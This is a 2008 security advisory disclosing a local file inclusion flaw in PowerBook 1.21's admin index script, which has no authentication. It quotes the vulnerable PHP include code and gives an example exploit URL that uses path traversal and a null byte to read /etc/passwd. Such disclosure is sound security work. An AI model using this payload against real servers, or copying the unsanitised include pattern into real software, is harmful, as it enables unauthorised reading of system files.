Advisory Text :  

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[DSECRG-08-031] Digital Security Research Group [DSecRG] Advisory

Application: PowerBook
Versions Affected: 1.21
Vendor URL: http://www.powerscripts.org/
Bug: Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: ..2008
Author: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)

Description
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Local File Include vulnerability found in script
pb_inc/admincenter/index.php

Non-authentication user can directly access to this script.

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php
config file.

Code
****
#################################################

if (!$page) {
$page = "home";
}

$page .= ".inc.php";

if(file_exists($page) == false) {
echo "
<div align="center">Sorry, the page <b>$page</b> does not
exist!</div>
";
} else {
include("$page");
}

#################################################

Example:

http://[server]/[installdir]/pb_inc/admincenter/index.php?page=../../../

../../../../../../../../../../etc/passwd%00

About
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focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on
our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)

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Alexandr Polyakov
DIGITAL SECURITY RESEARCH GROUP

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